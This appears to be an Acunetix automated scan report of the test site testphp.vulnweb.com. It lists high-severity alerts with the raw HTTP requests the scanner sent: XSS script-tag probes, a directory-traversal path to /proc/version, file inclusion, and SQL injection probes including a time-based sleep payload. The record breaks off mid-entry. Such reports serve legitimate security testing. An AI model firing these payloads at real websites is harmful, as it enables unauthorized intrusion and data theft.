acunetix

Quick Report

Acunetix Security Audit

28 April 2020

Generated by Acunetix

Scan of testphp.vulnweb.com

Scan details

Scan information	
Start time	28/04/2020, 06:29:55
Start url	http://testphp.vulnweb.com/
Host	testphp.vulnweb.com
Scan time	32 minutes, 15 seconds
Profile	Full Scan
Server information	nginx/1.4.1
Responsive	True
Server OS	Unknown
Server technologies	PHP

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	172
High	65
Medium	71
Low	9
Informational	27

Alerts

Cross site scripting	
Affected item	Web Server
Affected parameter	

Request

```
GET /404.php?1<ScRiPt>fjC0(9307)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Cross site scripting (verified)	
Affected item	/AJAX/showxml.php
Affected parameter	mycookie

Request

```
GET /AJAX/showxml.php HTTP/1.1

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=test%2Ftest;mycookie=3'"()&%<acx><ScRiPt%20>rntK(9680)</ScRiPt>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

Cross site scripting (verified)	
Affected item	/comment.php
Affected parameter	name

Request

```
POST /comment.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 132

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


Submit=Submit&comment=555&name=<your%20name%20here>'"()%26%25<acx><ScRiPt%20>JD4Q(9412)
</ScRiPt>&phpaction=echo%20%24_POST[comment];
```

Cross site scripting (verified)	
Affected item	/guestbook.php
Affected parameter	name
Request	

```
POST /guestbook.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 84

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


name=test'"()%26%25<acx><ScRiPt%20>Y6Zb(9407)</ScRiPt>&submit=add%20message&text=555
```

Cross site scripting (verified)	
Affected item	/guestbook.php
Affected parameter	text

Request

```
POST /guestbook.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 84

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


name=test&submit=add%20message&text=555'"()%26%25<acx><ScRiPt%20>Y6Zb(9283)</ScRiPt>
```

Cross site scripting (verified)	
Affected item	/hpp/
Affected parameter	pp

Request

```
GET /hpp/?pp=12'"()%26%25<acx><ScRiPt%20>jZhN(9893)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Cross site scripting (verified)	
Affected item	/hpp/params.php
Affected parameter	p

Request

```
GET /hpp/params.php?p=1'"()%26%25<acx><ScRiPt%20>3dES(9569)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Cross site scripting (verified)	
Affected item	/hpp/params.php
Affected parameter	pp
Request	

```
GET /hpp/params.php?p=valid&pp=12'"()%26%25<acx><ScRiPt%20>l4SI(9722)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Cross site scripting (verified)	
Affected item	/listproducts.php
Affected parameter	artist
Request	

```
GET /listproducts.php?artist=1'"()%26%25<acx><ScRiPt%20>KM0B(9371)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Cross site scripting (verified)	
Affected item	/listproducts.php
Affected parameter	cat
Request	

```
GET /listproducts.php?cat=1'"()%26%25<acx><ScRiPt%20>h2AQ(9315)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Cross site scripting (verified)	
Affected item	/search.php
Affected parameter	searchFor
Request	

```
POST /search.php?test=query HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 70

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


goButton=go&searchFor=the'"()%26%25<acx><ScRiPt%20>33Yw(9328)</ScRiPt>
```

Cross site scripting (verified)	
Affected item	/secured/newuser.php
Affected parameter	uaddress

Request

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


signup=signup&uaddress=3137%20Laguna%20Street'"()%26%25<acx><ScRiPt%20>cVea(9682)
</ScRiPt>&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g0
0dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv&uuname=ghovjnjv
```

Cross site scripting (verified)	
Affected item	/secured/newuser.php
Affected parameter	ucc

Request

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111'"()%26%25<acx>
<ScRiPt%20>cVea(9182)
</ScRiPt>&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone
=555-666-0606&urname=ghovjnjv&uuname=ghovjnjv
```

Cross site scripting (verified)	
Affected item	/secured/newuser.php
Affected parameter	uemail

Request

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst'"()%26%25<acx><ScRiPt%20>cVea(9345)
</ScRiPt>&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=ghovjnjv
```

Cross site scripting (verified)	
Affected item	/secured/newuser.php
Affected parameter	uphone
Request	

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606'"()%26%25<acx>
<ScRiPt%20>cVea(9547)</ScRiPt>&urname=ghovjnjv&uuname=ghovjnjv
```

Cross site scripting (verified)	
Affected item	/secured/newuser.php
Affected parameter	urname
Request	

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv'"
()%26%25<acx><ScRiPt%20>cVea(9871)</ScRiPt>&uuname=ghovjnjv
```

Cross site scripting (verified)	
Affected item	/secured/newuser.php
Affected parameter	uuname

Request

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=ghovjnjv'"()%26%25<acx><ScRiPt%20>cVea(9277)</ScRiPt>
```

Cross site scripting (verified)

Affected item	/userinfo.php
Affected parameter	uaddress
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 852

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>'"()%26%25<acx>
<ScRiPt%20>3o1l(9394)
</ScRiPt>&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666
```

Cross site scripting (verified)	
Affected item	/userinfo.php
Affected parameter	ucc
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 831

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777"onmouseover=3o1l(9849
)"&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666
```

Cross site scripting (verified)	
Affected item	/userinfo.php
Affected parameter	uemail
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 852

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com'"()%26%25<acx><ScRiPt%20>3o1l(9934)
</ScRiPt>&update=update&uphone=%2B555%20666666666
```

Cross site scripting (verified)	
Affected item	/userinfo.php
Affected parameter	uphone
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 852

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<table%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666'"()%26%25<acx><ScRiPt%20>3o1l(9784)
</ScRiPt>
```

Cross site scripting (verified)	
Affected item	/userinfo.php
Affected parameter	urname
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 853

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<table%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666&urname=ghovjnjv<ScRiPt%20>3GFT(9826)
</ScRiPt>
```

Directory traversal (verified)	
Affected item	/showimage.php
Affected parameter	file
Request	

```
GET /showimage.php?
file=../../../../../../../../../../../../../../../proc/version&size=160 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

File inclusion	
Affected item	/showimage.php
Affected parameter	file
Request	

```
GET /showimage.php?file=showimage.php&size=160 HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Macromedia Dreamweaver remote database scripts (verified)	
Affected item	Web Server
Affected parameter	
Request	

```
GET //_mmServerScripts/MMHTTPDB.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

nginx SPDY heap buffer overflow	
Affected item	Web Server
Affected parameter	
Request	

PHP allow_url_fopen enabled (verified)	
Affected item	Web Server
Affected parameter	
Request	

Possible database backup	
Affected item	/admin/create.sql
Affected parameter	
Request	

```
GET /admin/create.sql HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	Web Server
Affected parameter	login
Request	

```
GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"8oNWeACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/AJAX/infoartist.php
Affected parameter	id

Request

```
GET /AJAX/infoartist.php?id=1%20AND%203*2*1=6%20AND%20360=360 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/AJAX/infocateg.php
Affected parameter	id

Request

```
GET /AJAX/infocateg.php?id=1%20AND%203*2*1=6%20AND%20876=876 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/AJAX/infotitle.php
Affected parameter	id

Request

```
POST /AJAX/infotitle.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 36

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


id=1%20AND%203*2*1=6%20AND%20130=130
```

SQL injection (verified)	
Affected item	/artists.php
Affected parameter	artist
Request	

```
GET /artists.php?artist=1ACUSTART'"wElGoACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/artists.php

Affected parameter	login
Request	

```
GET /artists.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"BsdfTACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/cart.php
Affected parameter	addcart
Request	

```
POST /cart.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 40

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


addcart=1ACUSTART'"LfRpBACUEND&price=500
```

SQL injection (verified)	
Affected item	/cart.php
Affected parameter	del

Request

```
GET /cart.php?del=1ACUSTART'"sbNCzACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/cart.php
Affected parameter	login
Request	

```
GET /cart.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"uxXy4ACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection	
Affected item	/cart.php
Affected parameter	price
Request	

```
POST /cart.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 50

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


addcart=1&price=if(now()=sysdate()%2Csleep(6)%2C0)
```

SQL injection (verified)	
Affected item	/guestbook.php
Affected parameter	login
Request	

```
GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"sgruDACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/listproducts.php

Affected parameter	artist

Request

```
GET /listproducts.php?artist=1ACUSTART'"PA09UACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

SQL injection (verified)

Affected item	/listproducts.php
Affected parameter	cat

Request

```
GET /listproducts.php?cat=1ACUSTART'"4exg5ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

SQL injection (verified)

Affected item	/listproducts.php
Affected parameter	login
Request	

```
